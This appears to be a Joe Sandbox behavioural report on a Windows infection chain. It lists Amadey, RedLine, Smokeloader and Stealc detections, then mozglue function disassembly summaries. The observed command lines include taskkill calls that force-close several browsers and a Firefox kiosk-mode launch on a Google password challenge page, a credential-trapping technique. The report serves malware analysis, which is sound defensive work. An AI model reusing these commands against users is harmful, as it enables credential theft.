Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd30000
File size:	3'293'184 bytes
MD5 hash:	4F2646500156298BD82C572E6C8E4062
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2653499661.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:51:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd30000
File size:	3'293'184 bytes
MD5 hash:	4F2646500156298BD82C572E6C8E4062
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3319241005.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	20:51:12
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe"
Imagebase:	0x400000
File size:	1'973'248 bytes
MD5 hash:	2E19A105AE94D5CFDBA8166AF58F7A3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.3325152088.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000012.00000002.3323737933.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	20:51:21
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Imagebase:	0x3d0000
File size:	1'890'304 bytes
MD5 hash:	D7229A6C265F82BC80E0908656B99344
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2952766188.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2978726048.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3033374446.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2952585223.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3005504175.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3033026272.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2977685689.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3005248474.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	20:51:29
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Imagebase:	0xbb0000
File size:	1'798'144 bytes
MD5 hash:	0BD6FEAB9EC3FAA844BDCDCE20BB139A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000003.2971078627.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.3069078994.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:51:37
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Imagebase:	0xf80000
File size:	968'192 bytes
MD5 hash:	B96DF7B03681A0CCCCD55BEC984830B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:51:37
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Imagebase:	0x3d0000
File size:	1'890'304 bytes
MD5 hash:	D7229A6C265F82BC80E0908656B99344
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	20:51:41
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:51:41
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:51:43
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:51:44
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	20:51:44
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	20:51:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:51:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:51:44
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:51:46
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f89380b-e895-40d1-9424-18fcfa5174fc} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132aa86e310 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:51:46
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Imagebase:	0xbb0000
File size:	1'798'144 bytes
MD5 hash:	0BD6FEAB9EC3FAA844BDCDCE20BB139A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3252381859.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3244939214.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.3154801184.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	20:51:47
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"
Imagebase:	0x290000
File size:	2'821'120 bytes
MD5 hash:	D445052255EC75C77BF79748BD082EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	20:51:52
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4400 -parentBuildID 20230927232528 -prefsHandle 3648 -prefMapHandle 3968 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2f51042-99a7-4863-8fea-e445d15025a5} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132bd2afe10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:51:54
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Imagebase:	0xf80000
File size:	968'192 bytes
MD5 hash:	B96DF7B03681A0CCCCD55BEC984830B9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	20:51:56
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	20:51:56
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	20:52:03
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"
Imagebase:	0x290000
File size:	2'821'120 bytes
MD5 hash:	D445052255EC75C77BF79748BD082EFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

QPC, xrefs: 6C4D38FC
GenuntelineI, xrefs: 6C4D3639
GTC, xrefs: 6C4D3912
MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
AuthcAMDenti, xrefs: 6C4D3946

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

GeckoMain, xrefs: 6C4E5554, 6C4E55D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
